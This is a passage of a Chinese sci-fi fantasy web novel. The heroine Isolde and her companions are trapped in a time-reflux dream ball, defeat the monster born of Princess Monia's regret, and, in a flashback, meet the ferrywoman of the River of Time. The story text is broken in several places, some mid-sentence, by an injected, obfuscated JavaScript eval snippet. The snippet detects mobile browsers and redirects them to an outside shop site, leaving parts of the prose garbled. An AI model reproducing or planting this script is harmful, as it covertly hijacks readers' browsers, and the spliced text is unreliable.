诺贝塔没有辜负自己的家庭教育,很快做出了回答:“有一定概率——非常微小的概率——将出现‘逆流’现象。用更简单易懂的解释来说的话,是的,时间旅行发生了。” 银河集团从不说谎,它只是对真相进行包装。时间旅行的确真的有可能发生在这艘星舰上,但那概率微小到几乎可以不记,并且,谁也不知道是什么时候。 而伊索尔德说,此刻。 房间里的光忽然暗淡下去,长绒地毯吸附了声响,在这无边无际的寂静中,百首龙恍惚听到门被打开的声音。他猛地转过头,手里已经扣住了三枚麻醉针。 他睁大了眼。 房门不知什么时候被打开了,然而出现在门口的却是一具白骨。它的体型轮廓与人类相近,华美的礼服披在它的骨头上。白骨手里拿着一柄骨扇,它的下巴咔咔作响,牵扯出一个略显狰狞的笑容。 “来吧,客人。”它热情地说,“舞会要开始了,你们怎么还在这里呢?” 百首龙僵硬地看着它,星盗的视力十分出众,因此能够清晰地看见走廊上崭新却与当下时代格格不入的装饰。 闭目说禅的和尚变成了翩翩起舞的蝴蝶,水晶灯的边沿被黄铜的色调浸染,白骨的礼裙被风掀起一个角,在它的扇柄上,百首龙看到上面写着一行字:献给尊贵而美丽的夜莺。 夜莺和白椿一样,是闻名星际的歌星。但她只活跃在两百年前的舞台上。 就像卡俄斯说的那样,过去于此地重新显现了。 “去呀。”有人在催促,“你不想跳舞么?那可不行,公主说了,船上的所有人都必须要参加这次舞会。” 白骨把扇子展开,抵在自己黑洞洞的眼眶下方。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我不是很清楚,不过如果能触发关键词,有一定可能会遵照过去的记录出现对话。”伊索尔德说,“这个世界上没有幽灵。虫洞里留下的是残影,她刚刚所说的也不过是被虫洞记录的言语。百首龙误打误撞碰对了什么吧,可能在过去,这个房间里的人也委婉拒绝了舞会。” “这可是一件非常幸运的事。”伊索尔德以此作结。 “我想他可能并不那么觉得。” 在诺贝塔的眼里,百首龙的背影持续散发着某种可以被称之为怨气的东西。 “那跟我又没什么关系。”伊索尔德轻松地说,“我没有操纵他说出那句话,这本来就是他的命运。” 23.梦境与时间与溯流 白骨在滑入舞池的那一刻化作白沙消失在空中,它神秘的微笑掩在骨扇之下,在它退场时,百首龙才后知后觉发现自己只是误入了一场逼真的幻觉,这里的一切都是虚假,根本无法对他做出任何约束。 他有些恼怒,但又不敢进行口头谴责,只好一人走到了最前面以示抗议,但不管是伊索尔德还是诺贝塔都没人在乎他。 “溯流”让过去重返现在,时间旅行毫无保留地向她们展示着那场发生在数百年前的奢华舞会。 舞池设在大厅中央,上面吊着一盏华贵而剔透的水晶灯,洁白的蜡烛被盛在精美的烛台上,在每一张摆满食物和美酒的长桌上静静燃烧着。被请来的乐团忘情地演奏,人们随着乐曲优雅起舞,像一对对结伴的蝴蝶。 每个人的脸上都洋溢着相似的笑容,仿佛发自内心为舞会主人感到高兴。 诺贝塔静静坐在舞池入口,百首龙游走在人群之中,伊索尔德穿梭在长桌之间,手里的盘子堆满了芬芳甜蜜的甜点。 一个目测有二十米高的蛋糕被推了出来,穿着蓝色礼裙的女人挽着一个小女孩在二楼的露台出场。小女孩优雅而可爱,她微一鞠躬,开始流利地背诵一长串演讲词。 “很高兴大家来参加我的生日宴会,为此,妈妈给大家准备了一份礼物。” 旁边侍从递来一把银剪刀,咔嚓,女孩剪断了连接在水晶灯与大厅之间的丝线。 某种隐秘的震动从天上传来,无数花瓣从天而降,馥郁的香气溢满室内,蛋糕完好无损,周围早已升起了透明的保护罩。在花瓣雨之中,包装精美的礼物被气球牵系着款款落下,精准地落在了众人的手中。 有几件礼物落在了地上,女人笑了一下:“看来有些客人今晚已经有别的约会了。” 底下的人附和着女人,发出笑声。 人群又开始起舞,蜡烛又开始燃烧,乐团演奏的曲目渐渐开始重复,一切都变得呆愣而刻板——“溯流”只能显示一段固定的景象,它会一直重复,直到景象的中心因为支撑不住而自行碎裂。 天花板上发出咔哒咔哒的声音,伊索尔德抬头看了一眼。 那是一面半透明的时钟。 时针已经坏掉了,秒针不停不停地绕过分针,每当它们相遇一次,小女孩的眼神就越发灵动。 “她是...要醒过来了吗?”诺贝塔问。 百首龙已经差不多弄清楚了时间旅行的原理,龙族的血脉追寻着天空与珠宝,但此刻,他也不禁为这童话故事般的旅程驻足:“梦总是要醒的。只是不知道这是哪一段梦境。” 诺贝塔还在等伊索尔德的回复。 “梦境是真与假的罅隙,事实上,误入者才是梦境的真正主导者。”伊索尔德咬了一口淋满巧克力的甜甜圈,满足地眯起眼,“如果你将此定义为虚假,意识到这里不是自己的世界,那么她就会醒来。” “如果永远都意识不到呢?” “那就永远地留在这。我姑且认为陪小女孩跳舞算不上太糟糕的选项。”说到这,她皱了皱脸,像想起了什么不好的事。 “还有什么更糟的?”百首龙好奇。 伊索尔德叹了口气,她举起叉子,在空中比划了一下:“一场战争。无聊的演讲。反复的死亡。哦,还有衰老。虫洞里有很多东西,它会无条件地吞吃掉死在其中的东西并重演,有时候死亡很美丽,有时候它让你简直不知道该说什么好。” “不过我们这次运气不错。”她说,“这里的食物还挺好吃的。” “但那不是假的吗?” “确实不会有饱腹感,但可以尝出味道。如何,要试试吗?”伊索尔德另外拿了一个盘子放在诺贝塔手中,“你可以挑一些自己想要的,我推荐覆盆子蛋糕和抹茶奶冻。” “...谢了。我只是问一下。”诺贝塔抽了抽嘴角。 百首龙不动声色地取了一张盘子,溜溜达达去拿自己感兴趣的食物去了。他今天一整天都没吃饭,饥饿感快要把他逼疯。 他带着满盘子的肉回来了,几片绿叶像点缀一样垫在最下面,手里还拿了一瓶没开封的葡萄酒。 他极力推荐这瓶酒,即便他很清楚另外两个没有喝酒的兴趣。 诺贝塔觉得自己不饿,她没有太多口腹之欲,因此只是在原地看着。百首龙端着盘子狂暴吸入,伊索尔德则以一种看似缓慢实则惊人的速度扫荡着甜品。 分针和秒针还在不断错过又相遇,只能被她们听见的滴答声不停响起。 在这标志着毁灭的倒计时中,诺贝塔再次开口了。她发现自己自从遇到卡俄斯之后就总是能遇到一些超出常理的事情,她总是不停地想起那些被当做传说讲述的、几乎不可能存在的东西,也忍不住不停地提问。乐观点想,这也许是她此生难得的十万个为什么答疑课程。 她斟酌着字句:“要怎么确定谁才是梦境的主人呢?而且,时钟似乎已经坏掉了,这里不是普通的溯流吧?” 伊索尔德叼着勺子朝她投来赞赏的眼神。 “最生动的那个。”她先回答了第一个问题,以一种有些漫不经心的语调,“智慧生命的执念在某种意义上可以被视作特殊的磁场,有时候,会与虫洞产生奇妙的反应。” “而她,”她用叉子点了点那个露台上的女孩,“她的执念让时钟走差了。简单来说,即便我们意识到这是假的,她可能也不会放我们走。” 诺贝塔呛了一下:“等等,意思就是说我们会被她永远留在这里?” 她重新看向舞池和女孩,感觉那微笑的弧度神似恐怖故事里的洋娃娃。 百首龙的脸上像打翻了颜料盘,看起来颇为精彩。 “是啊。”伊索尔德说,“怎么了吗?我看你们还挺喜欢这的。” “我比较喜欢真实的东西。”诺贝塔默默答道。 “哪怕出去就要面对宇宙联盟也比这个好。”百首龙又一次开始后悔起自己的决定来,老老实实地被抓多好,说不定他还有渺茫的机会可以在押送途中逃走,而不是像现在这样被卡俄斯带入只能进不能出的地方,面对自己一眼能望到头的后半生。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14495034|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说真的,这到底跟死刑有什么区别? 伊索尔德眨眨眼:“我以为你们不会太在乎真与假呢...你们人类不是有句话是‘难得糊涂’吗...意思还挺难懂的。” “首先我觉得难得糊涂不应该用在这里,你可以回去投诉你的星际语老师。其次,这里是假的啊,是梦境。” “那又有什么关系?”伊索尔德反问,“梦境为何不能是真正的世界呢,物质与精神有时候是对立的,帝国曾经以为可以寄身于机械而获得意识上的永生,后来的结果已经被写在宇宙的历史上。你肯定还记得它。” “领航者。”诺贝塔喃喃。 领航者事件,导致太阳帝国一分为二的惨剧。 为了成为宇宙文明的一员,太阳帝国曾经大力发展航空科技,由于人体实验会受到批判,他们便钻了个空子,将筛选出的志愿者意识进行上传,启用了大量复制人作为先驱。 这些复制人寿命短暂,可以随时更换躯体,他们为帝国提供了极为精准的数据,促使帝国发展出了适应人体的机甲技术,为帝国发展做出了卓越贡献。 但帝国错估了人类精神的脆弱和反复,也错估了生命的定义。最终,那些被上传的意识形成了另一个文明,认为自己与人类是两个不同的种族。他们反抗帝国的统治,要求帝国切断埋在他们意识里的保险程序。 帝国发自内心认为他们只是工具,断然拒绝这无理要求。 于是,复制人操控意识母体的身体,从内部给了帝国沉重一击。 在事件的最后,部分心存良知的研究院销毁了剩余复制体离开帝国成立联邦,剩下的帝国人则被迫在最近的星球降落,并因为当地的辐射影响开始逐渐觉醒异能。 这一事件同时也造成了联邦与帝国的不同发展方向,至今依然影响着他们的社会构成,前者重视科学而断绝复制人这一可能,后者则排斥机甲并将异能看作救命稻草。 “复制人和人类真的还是同一物种吗?”伊索尔德微笑着问出那个被太多人反复讨论的问题,“溯流中的梦境主人,又真的愿意相信自己的世界是虚假吗?” 秒针又一次与分针重合了。 轰鸣般的声音在天空炸响,女孩如梦初醒。 她慢慢看着眼前这熟悉的景象,手指抽动了一下。 她像有一瞬间想要说些什么,但又意识到除了自己之外再没有人会听她说话,她沉默着,抽回被母亲握住的右手。 女孩动了。 花瓣还在空中流连,它们飘逸的身姿宛如云霞,她仰起头看了一会儿,踩着一旁的矮凳站上露台的边沿,没有人阻止她,下面的人依然面带微笑。 一把钥匙在她面前凝聚。它发着光,通体由红宝石铸成,一根丝带系在它的尾部,前半部分消失了。如果不是女孩握着它的姿势让人想起开启门扉的样子,很难把它与钥匙联系起来。 “妈妈...”她说。 时针开始走动,它走得很慢,像已然锈蚀、只余空壳的金属造物。 轰鸣声再一次响起。 24.钥匙与心脏 地上的花瓣向天空飞去,燃尽的蜡烛重新回到未点燃的时候,长桌上被拿走的食物又重新出现,飘扬在场内的乐声变得古怪而熟悉,诺贝塔仔细辨认,发现他们将曲谱颠倒了前后。 女孩静静凝望着这一幕,仿佛已经看过千百遍。 “最后会变成什么样?”伊索尔德突然开口对着女孩发问,她似乎看不到外来者,从头到尾都对诺贝塔她们无动于衷。 但当伊索尔德说话时,她垂下了头。 “舞会会再次开始。”女孩回答,“就像八音盒重新拧紧了发条,一切都会重来。” “每一次都会失去所有记忆?” 女孩轻柔地回答:“这是代价。” 那张稚嫩的脸上出现了属于成年者的表情,像一个大人被困在小孩子的身躯里,寂寞地看着这场无休止的舞会。 “重复。”伊索尔德说,“你把溯流强行固定在这了。舞会不是因为溯流才出现,而是因为你想让舞会重现,于是借助了溯流的力量。我就知道时间旅行不会这么容易发生。” “啊...”女孩微笑,“的确如此,你说得没错。我就当你在夸奖我吧,不过事实上,它能成功纯属偶然,我是第一个这么做的人,恐怕也是最后一个。现在是什么时候了?” 伊索尔德不太熟悉人类的历法,她偏头去看诺贝塔。 诺贝塔小声回答:“星际历6031年。” 伊索尔德复述了一遍诺贝塔的答案,女孩没对这个年份发表什么意见,但对她询问的动作若有所思:“你旁边还有其他人吗?我好像没看见他们。” “也许是因为你已经死了。” 生者和亡魂之间总是隔着一条界限,像单向玻璃。 “噢,那你呢?”女孩说,“你也死了吗?” “我得到过一个祝福。”伊索尔德回答,“它能保证我不在时间中迷失自我,也能让我与那些已经被时间之河吞没的生灵交谈。” “给你祝福的是谁?我恐怕只有幻想种才能做到这样的事。” 伊索尔德抬起头,眼瞳变成了浓郁的金色,她慢慢说道:“河流边踌躇之人。无名的摆渡者。” 女孩很高兴地笑了一下:“你见到老师了。她看起来怎么样?我很久都没有见过她了,不知道她是不是还养着那对鹦鹉。” “至少三千年前看起来挺好的。”伊索尔德回忆了一下那个总是戴着巨大兜帽的女人,她的脸已经被时间本身所模糊,然而那座木屋却像一个亘古不变的坐标伫立在河流彼岸,“没看见过鹦鹉,可能是飞走了,也或许是它们活的时间没那么久,在我来之前死了。” “那真是个悲伤的故事。”女孩端详着她,“好了,上来吧,你是否愿意告诉我你的名字呢?作为交换,我可以告诉你如何离开这里。” 一架台阶出现在伊索尔德面前,终点通往女孩所在的二楼露台。 “卡俄斯...”诺贝塔仗着女孩看不见她,悄悄拉住了她的手,“你真的要去吗?这太危险了。” “没关系。”伊索尔德看了她一样,声音在诺贝塔脑子里响起,“我知道该怎么出去,不用担心。” 伊索尔德顺着台阶一步步走了上去,她跳进露台里面与女孩对视,清楚地看见了她眼底未褪去的疲倦——驱使“溯流”本身就足够骇人听闻,更别提她已经不知在这里重启过多少次。 “你的名字是?”女孩耐心地又问了一遍。 “卡俄斯。”她说。 女孩停顿了一下,她猛地吐出一口血,伊索尔德趁机闪到一边。 她咳了好一会儿才缓过来,再抬起头来时脸色已经惨白无比,像随时会被风撕破的纸, 她的眼神变得恐怖,那张面容也随之扭曲,如同漩涡一样令人看不清任何细节。 属于人类的特质从她身上消失了,像融化的蜡烛一样渐渐褪去伪装。一滩黑色的液体从女孩的躯壳中流出,它没有“脸”这种东西可言,也不存在所谓的肢体动作,但出于直觉,诺贝塔觉得它现在恐怕十分恼怒。 液体在二楼的露台到处乱窜,它想游到伊索尔德身边,却总在下一秒被刀鞘挡住去路,它狂躁地转圈:“不对。不对。这是假的。你给了我一个假的名字!” 它的声音听起来也很奇怪,像用石头击打水面,通过调节力道而发出近似的音调,再用这些音调进行组合。 “可你也是假的。”伊索尔德毫无心理压力地回答,“我以为你就喜欢假的东西呢。” 液体大怒:“我是真的!见过老师的人是我,驱使溯流的也是我,把舞会留下来,让它永远不会消失的也是我!这里从头到尾都只有我一个人,你凭什么说我是假的!” 说到后面,它几乎是在怒吼了。 “那为什么钥匙只有一半?”伊索尔德说,“还有另外一半呢?” “被吃掉了。”液体忽然失去了所有力气,整个萎靡缩成一团,“被...吃掉了。” “被莫尼亚吃掉了。”伊索尔德帮它补充了那个被隐去的名字,“对吗?” “你怎么会知道这个名字?”液体迟疑地说。 莫尼亚是一千年前领航者事件中的幸存者,她是皇帝的幺女,在一场飞船事故中失踪,下落不明。 “我刚刚才想起来,摆渡者说她曾经有过一个学生,是误入时间之河的外来者。她教会了学生如何在时间中打下锚点,然后她就消失了。为什么?” “她太想念过去了。”液体的声音低落下去,它模仿得很像,令人相信这就是莫尼亚当时的神情与语气,过往在它的讲述中重新出现,“帝国最辉煌的时候,自己一生最耀眼的时刻...她被自己的幸福困住了。她说她很抱歉,她还说她...她并不后悔。” 伊索尔德凝视着液体。 “你是莫尼亚,还是吃掉莫尼亚的怪物?” 怪物抬起头来看她,音调冷酷而平稳,没有任何情绪:“我是莫尼亚的悔恨之心。” 时间之河只收留已死之人,莫尼亚在误入此地时就已经死去,却因为意外以另外的形式保留了思维和记忆。她忘记自己已经死去,于是离开了时间之河与摆渡者,想要利用锚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14506251|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点重新塑造出一个令自己满意的幸福过往。 溯流需要虫洞作为载体,而虫洞会被执念吸引,吃掉死亡并重演。 在莫尼亚的执念中,舞会和怪物一起诞生了。 —— 漫长的寂静过后,怪物反而冷静下来了。它本来就只是被莫尼亚的人格所影响,其本质依然是虫洞所催生的怪物。 “如何?你要杀死我吗?这很容易,你只需要找到我的心脏,然后轻轻划上一刀。但你依然需要告诉我你的名字,而且这名字还会被你的同伴知晓。你敢让他们知道吗?阿斯塔星来的小虫子?你跟我一样,都是怪物。” 伊索尔德仍然静默着,在怪物看来,这就是她不打自招的心虚。 它更得意了:“看看你现在的样子,多么可怜,多么无助,虫族和人类本就是天敌,这一点过多久都不会发生改变,你为什么要奢望把自己混入人类里呢?大大方方做个怪物不好吗,这才是你的本来面目,一个冷血无情、与人类格格不入的虫族。” “我觉得,”伊索尔德抬起头示意它停下,“你好像误会什么了。刚刚跟你说时间的时候你是不是根本就没有仔细听?好吧,原谅你,活在一千年前的老古董根本不会懂得历史的发展是螺旋上升的。你想太多了,我一直为自己的身份感到自豪。” 她直视着怪物,“不过你恐怕不会懂。因为你就恨不得全世界都知道你不是莫尼亚,只是一个取代了莫尼亚的怪物。稍微被说两句就暴跳如雷连伪装都维持不了的废物有什么资格说我?” 她难得一口气讲这么多话,怪物的颜色越来越绿,眼看要成为一个颜料盘。 伊索尔德微微一笑,直起身:“看,你的心理素质真的不行。你因为自己是怪物而感到自卑,我真为你感到伤心。你肯定是乱七八糟的东西吃多了,下次记得多做卫生检查,不行的话可以投诉宇宙联盟。” “呵呵,不管你怎么说,你还是必须要说出自己的名字。这是规则。”怪物在她旁边阴阳怪气。 “所以我说你真的是个老古董。”伊索尔德叹息,“你难道不知道,在绝对的实力面前,一切规则都是不存在的吗?” 她抽出了刀,轻描淡写向前丢去。明亮的刀光像白昼一样划破天幕,长刀钉在了半透明的时钟上,它开始破碎,发出几不可闻的呻.吟。 舞会的边缘开始湮灭,怪物发出哀嚎。 溯流被打破了,此地将重归真实。 莫尼亚与怪物倾尽一切企图创造的永恒就这样灰飞烟灭,在这末日般的景象中,伊索尔德回过身去,看到另外一半发光的钥匙。 它从怪物的身体里浮出,与另一半交融在一起。 如果以人类的身体结构来看待,哪么也许可以称钥匙所在的地方为心脏。 溯流彻底结束了。 走廊上乘务人员的脚步声远去,百首龙为自己长出一口气,他自然地拉开抽屉为自己开了瓶酒,诺贝塔还在回忆舞会的余晖,没有制止,而伊索尔德走到桌边,摊开手掌, 完整的钥匙当啷一声掉在桌子上。 25.回忆篇?时间之河与摆渡者 伊索尔德第一次与摆渡者交谈是在梦中。那是一场意外,但话又说回来,如果不是意外,恐怕她永远也没有机会得知这个世界的背面。 这背面并非某种负面情绪的聚集、并非疯狂或谋杀的同义词,它的意思相当简单明了,即,魂归之地。 “一场绑架。”伊索尔德在梦中说。 她刚刚睁开眼,就发现自己缩水到了刚出生时的状态,不止身体,似乎连思维都有一定的退化,就像被施加了某种降智buff一样,她发现自己一旦思考太过复杂的事情,脑子就忍不住卡壳,尝试几次后她决定放弃,不再为难自己的大脑。 就当重新回味一遍童年好了。她乐观地想。 梦里能见度极低,三米开外的世界全被笼罩在浓郁的雾气之中,脚下是黑色的泥土地,一切都晦暗而深沉,唯有不远处的河流散发着幽幽光芒。 河流上有一个撑着船的女人,她的面容隐没在阴影之下,但伊索尔德凭借直觉辨认出了她的种族。 船是用一种黑色的木头做的,它全身上下都散发着古老的气息,船身雕刻着一片半开的莲花,在水中航行的时候,就如同盛开在水面上。 女人慢悠悠地划着船,在河流两岸之前往返。靠近伊索尔德的河岸有一个破旧的木栈桥,她每靠过来一次,船上就重重地沉下去,似乎有什么她看不见的东西上了船,正要被渡往彼岸。 伊索尔德摸索着靠近了那个木栈桥,一根被切割得方方正正的木头顶上挂着一盏昏黄油灯,勉强照亮了周围的空间,她走到灯下面,开始等那个摆渡人再一次过来。 河面并不宽,但摆渡人划得很慢。伊索尔德百无聊赖,索性趁这个时间开始打量那些站在她旁边的影子。 它们的脸和女人一样,都被阴影遮住了,但那些陷在泥土里的脚印还是能给她提供一些线索。 三个人类、只有一条腿的闹钟、被烧得只剩轮廓的八音盒... 伊索尔德默默地数着这些影子,心中升起一个疑惑:这里没有幻想种,仿佛它们不会死亡。 摆渡人停在了岸边,是人不是人的都依次上了船,当它们走上船的时候,伊索尔德的视野里就失去了它们的模样。 伊索尔德也走到了栈桥的前面,摆渡者抬起头来看了她一眼,喉咙里发出了沙哑的声音:“活人免进。” 女人所说的语言不属于她知道的任何一种,但不知为何,伊索尔德自然而然地就明白了她的意思。 “我不是人。”伊索尔德说。 “但你是活的。”女人拒绝她的狡辩。她直起身,准备把伊索尔德抛在岸边,也是在这时候,伊索尔德才发现她比自己高得多,大概有两米左右。 “可是我不知道怎么回去。”她蹙眉,“如果你是摆渡者,应该也要负责把误入者送回去吧?” 摆渡者停下了动作:“你是怎么来到这里的?” “做梦。”伊索尔德沉思,“我只是睡了一觉。” 摆渡者仔仔细细打量了她一遍,她的语调也染上了些许惊奇:“真奇怪,在我的眼里你是活的,但是如果你能来到这里,就说明时间之河认为你死去了。” “有没有可能是它出了什么bug,我听说年久失修的东西或多或少都会有些老毛病,你平时会修理它吗?” “时间之河没有使用说明书,它自己修理自己。我只是为它工作。”女人发出了轻柔的笑声,她的音调实在是太过奇怪了,尽管没有恶意,但在弥漫的雾气里如同猫头鹰的笑脸一样惊悚。 “那你能不能给你的老板反馈一下这个问题,我想回去。”伊索尔德认真地说,“我觉得死亡这种事情还是需要保持神秘的。” “我可以试试。”女人说,“先上船吧,你不能在这里停留太久,我把它们送走之后就带你去另一个地方。” “什么地方?”伊索尔德轻巧地跳上了船,她没有思考这个人会不会对自己不利,也没有思考之后会怎么样。梦境里的debuff有些严重了,她理智上知道自己应该警惕,但表现出来的行为衬得她就像一个毫无危机意识的乐天派。 这点忧虑在她的心里很快地划过,像湖面上的水痕一样杳然无踪。 “可以让你保持理智的地方。”女人瞥了她一眼,“不要思考,不要质疑,时间之河喜欢记忆和情感,你最好放空大脑,不然你很可能会变成白痴。” “它们呢?”伊索尔德指的是那些上船的影子。 “那对它们来说是另一样东西,”女人声音在不断翻涌的水声中异常清晰,像在石头上凿刻下某种不会模糊的痕迹。 她缓声道:“那是快乐。” “死亡的奖励?” “可以这样说。” 伊索尔德开始尝试放空大脑,她尽力让自己不要思考,不去想自己来到这里的原因,不去想时间在此地的流速,不去想女人的身份与来历,不去想自己从哪里来,又要去到哪里。 “糟糕。”她有些懊恼地说,“我刚想起来自己正在星盗船上呢,苏珊也没过来,它可能没办法应付那些星盗。” “早知道就处理得更干净点了。”她揉了揉自己的脸,那点懊恼也飞速地消失了,她心中只剩下平静。 “不用担心,这里的时间是无穷的,说它是个梦也许会更好理解些?你的时间已经静止在了你进入这里的时候。” “这还算个好消息。” 她安静下来,陷入了更深的空白之中。 被剪掉的银色长发又一次出现在她的身上,银发把她裹得密不透风,像一只茧。银茧里,伊索尔德微微闭上了眼,她抱着自己的膝盖,把下巴搁在膝盖上,长长的睡裙垂落在地,像一朵半开的白色莲花。 “还有多久?”她有些昏昏欲睡。 木船终于到了河岸对面,船只上看不见的影子开始一个接一个下船,往那森林里走去,一只青色的鸟蹲在入口处的树枝上,长长的尾巴像迤逦的裙摆。青鸟极为清越地叫了一声,它的叫声仿佛有什么魔力,柔和的光从森林里浮现出来,驱散了浓郁的雾气。 影子们的模样渐渐又显现出来了,这次伊索尔德看得比之前更清楚,她看到一个死在火灾里被烧得全身焦黑的人,看到两个头颅和胸口插着刀的人,看到一只被折断了支脚的闹钟,以及一个拥抱着彼此的八音盒,八音盒上面有一对锡兵和芭蕾舞者,它们脸上带着笑容,似乎在火焰中一同逝去也是幸福。 船上的影子走光了,摆渡者冲青鸟远远摆了下手,掉转船头,往河流的上沿驶去。她很沉默,伊索尔德也不知道该说什么,不知道过了多久——伊索尔德感觉自己睡醒好几次——摆渡者轻轻拍了拍她的肩,说:“到了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14534427|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >伊索尔德迷茫地抬起脸,看到面前出现了一栋糖果般鲜艳的二层小楼。小楼的外墙刷成了粉紫色,露台上种满了蓝色的奇异花朵,一株株结着黑色果实的果树环绕在小楼周围,在小楼后面,伊索尔德看见有一片波光粼粼的湖泊若隐若现。 摆渡人已经把木浆放进了船舱里,她走上岸,向伊索尔德伸出手。 河岸有些高——至少对伊索尔德现在的身高来说很高——她把自己的手搭在摆渡者手中,被拉上了岸。 女人的手上没有茧子,伊索尔德感觉自己牵住的是一具白骨。 小楼的门在她们面前打开,女人摘下宽大的兜帽,轻轻击掌,室内顿时灯火通明,拜这光线所赐,伊索尔德清楚地看见了女人的全貌。 ——一具莹润如玉的白骨,她的四肢都被兜帽遮住了,唯有脸部和脖颈的骨头在外咔咔地不停转动,她的额头上长着一只尖角,像西方传说中的独角兽,又像图谱中所写的恶魔。 “你会觉得害怕吗?”女人的声音从腹部传出,伊索尔德认真看了下,发现那里的布料没有任何起伏。 “我觉得还好。”她遵从内心,“我可以摸摸你的角吗?” “当然可以。” 女人在她面前蹲下来,即便这样,她还是比伊索尔德高出一个头。她又把角往前倾了倾,伊索尔德伸出手,轻轻摸了一下那支长角。 质感温润,像玉石一样。跟女人冰凉的手骨不同,摸起来很温暖。 “谢谢你。”她只摸了一下就收回手,“我现在可以思考了吗?” “可以了。”女人站起来,她很高,但这间屋子比她更高,小楼一层的挑高目测有六米,即便是摆渡者也可以在里面畅行无阻,“我们接下来得找找你为什么会出现在这的理由,上次有人误入还是快一千年前的事情,这可是个稀罕事。” “她也是因为做梦吗?” 摆渡者把伊索尔德放在客厅,给她拿了一杯牛奶。她钻进厨房,看起来正准备给自己做点食物:“不。她是真的死了。” “不是所有死掉的都会来到这?” “没错。”食物的香气开始从厨房里传出,“时间之河是有筛选条件的,不是所有人都会来这。你吃辣吗?” “我吃石头。” “噢。虫族。你喜欢什么样的石头?” “鳞青和松木。” “你吃的还挺贵。” “越贵越好吃。”伊索尔德谦虚地说,“塔纳斯总结的规律。” “需要我帮你做点什么吗,塔纳斯说白吃白喝不太好。” “你会什么?” “我可以帮你修剪花木和果树,需要的话池塘清淤也能帮上一点忙,你的花看起来蔫蔫的,有点像生病了。如果你有准备对应的药物或者肥料的话,我可以帮你解决这个问题。”伊索尔德一项项列举着自己学过的能派上用场的技能,“或者你需要机甲吗?我还可以帮你去跟你讨厌的人打一架。” “谢谢你,没想到你还是个园艺爱好者。”女人拿着锅铲从厨房里探出头,“请你帮我看看池塘里的莲花吧,它们老是不开花,我想做莲子羹都没办法。” 伊索尔德把最后一口牛奶喝光,她把玻璃杯搁在桌子上,穿过客厅,后门大敞着,她走出去,一片湖泊出现在她眼前。 “没问题。”她说。 26.番外-时间之河(二) 湖泊被森林环抱着,在阳光下闪着鱼鳞般的光。这上面空无一物,如果摆渡者真的在这里面种下过莲花,伊索尔德认为它们大概已经都死了。 她先沿着湖畔走了一圈,初步测定了一下水质和淤泥的营养成分,结论是完全正常,甚至正常得过了头,跟眼前这充满不科学的地域对比起来,有种难以言喻的割裂感。 “我可以下去吗?”伊索尔德对着里面喊,“水和土都没什么问题,可能是别的原因。” “请便。”摆渡者的声音遥遥传来,“记得不要到森林里去。” 伊索尔德把自己的头发扎在后面——顺便一提,现在的长度大概在腰间——她随意扫了一眼湖面,径直跳了下去。 没有声音。 水花迸溅,但是却没有任何动静传出,这片湖泊始终保持着安静,以至于有些惊悚。 就知道这地方不可能正常。伊索尔德腹诽。 伊索尔德睁开了眼,湖水很清澈,因此能够让她清楚看到水下的情景。出乎意料的是,湖里的情景与她预想的不同,呈现出一种别样的生机。 大小不一的莲花在水里柔柔飘浮着,它们是蓝紫色的,和木船上雕刻的花朵长得一模一样,唯一的区别是正在枯萎,边缘坑坑洼洼的,像被啃食过一样。这些莲花在不停地下坠,有的已经沉到了最深处的黑暗里,有的还留在湖泊的中间,它们并非静止不动,有的偶尔会上升一小段距离,紧接着又很快落下去——就像有什么东西在下面拽着它们一样。 她眯了眯眼,开始往身边最近的莲花游去。水波被她的精神力拨开,伊索尔德抓住一朵莲花,她抓得很紧,被莲花带着往下沉了一下。 极细的丝线跟这些莲花的尾部牵系在一起,它们几乎跟湖水和莲花融为一体,只有在照进湖面的光下晃过时才显现一瞬身影。 和精神力所制成的丝线不同,这些明显是某种生物抽出的丝,就像蜘蛛网一样,将这些莲花作为食物拖拽着。 伊索尔德顺着这些线往下摸索,直到靠近那线的终点——一个巨大的黑色的漩涡。 漩涡周围有无数残破的莲花,它们大多黯淡无光,花瓣已经变成了枯败的灰白色,在游动的水流中飘离花蕊。这些花瓣已经脆弱到被稍微碰一下就会碎掉的程度了。 越靠近漩涡,越能感受到里面强大的引力。伊索尔德从中感受到了某种熟悉的东西,她在记忆里仔细翻找,发现那跟多年前塔纳斯带着自己穿越空间时的感觉很相似,但是更加复杂。 塔纳斯的能力是【穿梭】,如果这力量足够强大,是否也能够穿越时间? 伊索尔德想了想,她挣脱了这力量,往湖面游去。 漩涡似乎很不甘心,但它的丝线全都被伊索尔德切断了,只能在湖底不停震动以示愤怒。 